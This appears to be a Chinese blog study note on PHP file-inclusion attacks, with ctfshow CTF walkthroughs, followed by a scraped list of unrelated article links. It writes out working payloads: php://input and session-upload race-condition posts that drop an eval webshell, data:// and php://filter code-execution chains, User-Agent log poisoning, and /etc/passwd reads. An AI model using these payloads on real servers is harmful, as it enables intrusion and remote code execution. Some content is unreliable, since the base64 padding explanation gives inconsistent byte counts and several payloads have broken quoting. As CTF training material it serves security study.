当前位置: 首页 > news >正文

文件包含LFIRFI伪协议编码算法无文件利用黑白盒

一、
文件包含原理:程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为文件包含。在包含文件的过程中,如果文件能进行控制,则存储文件包含漏洞。

比如include($_GET['file']);
用?file=1.txt
txt里写的是后门
这样包含的文件被当作当前脚本语言去代码执行

分类:
本地包含-Local File Include-LFI
远程包含-Remote File Include-RFI【php远程包含开关开启,或者php.ini的allow_url_include=ON。这样才可以用远程包含。地址后面直接?file=地址】
差异原因:由代码过滤和环境配置文件开关决定

危害:
本地包含:没有上传,文件就是固定的,包含带有供给的代码。有文件利用的话,上传一个文件,配合上传,文件写有恶意代码。
无文件利用:
1.配合文件上传
2.包含日志文件利用
3.包含session文件利用
4.无文件支持伪协议利用

php伪协议

文件读取:
file:///etc/passwd
php://filter/read=convert.base64-encode/resource=phpinfo.php
文件写入:
php://filter/write=convert.base64-encode/resource=phpinfo.php
php://input POST:<?php fputs (fopen ('shell.php','w'),'<?php@eval($_GET[cmd]); ?>'); ?>
代码执行:
php://input POST:<?php phpinfo ();?>
data://text/plain, <?php phpinfo();?>
data://text/plain;base64, PD9waHAgcGhwaW5mbygpOz8%2b
远程利用思路:
直接搭建一个可访问的远程URL包含文件

2、白盒审计:
-白盒发现:
可通过应用功能追踪代码定位审计
可通过脚本特定函数搜索定位审计
可通过伪协议玩法绕过相关修复等16
PHP: include, require, include_once, require_once等
include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行require函数出现错误的时候,会直接报错并退出程序的执行
Java: java.io.File, java.io.FileReader等
ASP.NET: System.IO.FileStream, System.IO.StreamReader等
3、黑盒分析:
-黑盒发现:主要观察参数传递的数据和文件名是否对应23
URL中有path、dir、file、pag、page、archive、p、eng、语言文等相关字眼

1.无文件读取
出来是加密的,64base解密
image

2.过滤php
代码执行data协议
data+base64
image
这里的编码原代码是读取根目录下的文件。可以改成读取当前目录,或者直接找flag.php
image

3过滤php、data
可以用日志包含
image

image
然后尝试把代码写到UA里去,这样相当于代码会执行
用抓包工具
image
而后界面会显示
image
然后继续找这个fl0g.php
image
image
这里显示出3333后,右键查看源代码
image

4.过滤php、data、冒号、点
这题练条件竞争
image
利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含
自定义session名字,条件竞争访问session文件,触发创建新文件

点击查看代码
<!DOCTYPE html>
<html>
<body>
<form action="http://xxxx.ctf.show/" method="POST"
enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS"
value="<?php fputs(fopen('shell.php,'w'),'<?php@eval ($_POST[1])?>'?" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

session包含
Ctfshow Web入门 - 文件包含总结

把session文件传过去
image
抓包,cookie改掉
image
接下来不断发包,不断产生session文件,写入后门代码。同时一直访问。
image
image
image

通过 php://filter 包装器创建一个名为 123.php 的文件,并向其中写入经过 Base64 解码后的内容。php://filter/write=convert.base64-decode/resource=123.php进行两次URL编码就行。
然后content=base64值转换的命令
image
这题有Base64的填充和对齐规则,编码要每3个字节即24位一组编码,生成四个字符,如果原始数据长度不是3的倍数,编码结果末尾就添加==,确保总长度是4的倍数。
PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==不考虑填充符的情况下有效数据长度为75个字节,不是4的倍数。前面要加两个a,让整个字符串变60字节,这样才能正常分组解码。
image
尝试访问123.php
image
这里查看源代码就能取到flag
image

或者用凯撒加密
url编码2次:
php://filter/write=string.rot13/resource=2.php
content=

6.过滤php及各种通配符
过滤php就用data协议
image
用base64绕过
image

*base64编码结果不能有统配符号,需要尝试加点东西让结果没有符号
比如后面加了“ad”
image

7.过滤了各种关键字
没过滤php,所以用php和iconv加密
convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用

点击查看代码
<?php
$result = iconv ("UCS-2LE", "UCS-2BE", '<?php eval ($_PoST[a]);?>');
echo "经过一次反转:".$result."\n";
echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE",$result);
?>

playload:
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents=?<hp pvela$(P_SO[T]a;)>?
image
访问a.php
image
image

http://www.jsqmd.com/news/1055390/

相关文章:

  • Mac NTFS读写终极解决方案:Free-NTFS-for-Mac完全免费指南
  • 哔咔漫画下载器终极指南:如何3倍速打造个人离线漫画库
  • 台州抽绳垃圾袋批发哪家好?免撕收口款采购测评 - 资讯速览
  • 万国官方售后网点实地核验完整报告,多家品牌专属维修服务全新网点正式落地启用 - 万国中国服务中心
  • Windows与Office一键激活终极指南:KMS智能激活脚本完整教程
  • 嵌入式传感器数据处理:从补码转换到FIFO缓冲的实战指南
  • 2026 安徽中考 200 分左右能上什么学校?靠谱中职全推荐 - 小张zc
  • League Akari:基于LCU API的英雄联盟终极工具箱,重新定义游戏辅助体验
  • 深度探访江诗丹顿官方售后服务中心|2026年6月网点地址及电话汇总 - 江诗丹顿中国服务中心
  • 2026年度万国官方售后网点权威核验报告,覆盖全国六十余家服务门店地址公示 - 万国中国服务中心
  • 1997考研数二真题(冲刺速通版)
  • 2026吉安本地正规瓷砖空鼓维修服务商盘点|无损免拆砖修复,全域上门售后有保障 - 宅安选房屋修缮
  • 本地化视频硬字幕提取终极指南:3种方法快速生成SRT字幕文件
  • DXVK Vulkan转换层:3种高性能Direct3D兼容性解决方案实战
  • CPGRec框架:基于类别与流行度平衡的游戏推荐系统设计与实践
  • 叙事重构:从代码片段到完整故事,提升大语言模型代码生成质量
  • 摘要:该文件披露了2015-2026年间某集团通过复杂架构实施的资金运作体系。核心包括:1)张氏家族4人通过43家空壳公司(技术咨询/劳务外包/广告类)接收资金,年分红额从2015年7900万增至20
  • 嵌入式MCU引脚兼容设计:S08/RS08系列硬件复用与软件迁移实战
  • 实地暗访江诗丹顿官方售后中心|2026年6月最新全国网点地址+电话全公开 - 江诗丹顿中国服务中心
  • Claude Code 接入 DeepSeek V4 的中转层协议转换实战
  • 台州环卫垃圾袋厂家哪家稳?户外加厚抗造款采购测评 - 资讯速览
  • NTAG I²C plus互联NFC标签:物联网设备零功耗交互与安全配网方案
  • 2026 年 6 月积家全国维修服务网络迭代优化 门店搬迁新增地址完整公示 - 积家中国服务中心
  • 2026年6月最新浪琴中国官方售后客服服务地址热线网点电话 - 浪琴服务中心
  • 2026 年 6 月万国全国售后服务网点调整核验公示 - 万国中国服务中心
  • 线下核验实录:2026年度积家官方售后网点核验报告,全国60余家合规维修门店详细地址全面公示 - 积家中国服务中心
  • 万国官方售后服务体系优化升级,整合全网线下门店最新详细地址与联系电话完整版指南 - 万国中国服务中心
  • 2026年上城区奢侈品包包洗护修复保养,深耕奢护精工 15 载!杭州奢护你贸易扎根雷小安潮奢大厦,以无痕修复传承匠人手艺,打造养护、二创、回收、学徒培训综合产业平台 - GrowthUME
  • 西安搬家价格全解析:收费标准、一口价与避坑指南,彻底告别隐形收费 - 资讯速览
  • 基于Kinetis M的法制计量仪表软件分离与动态更新实战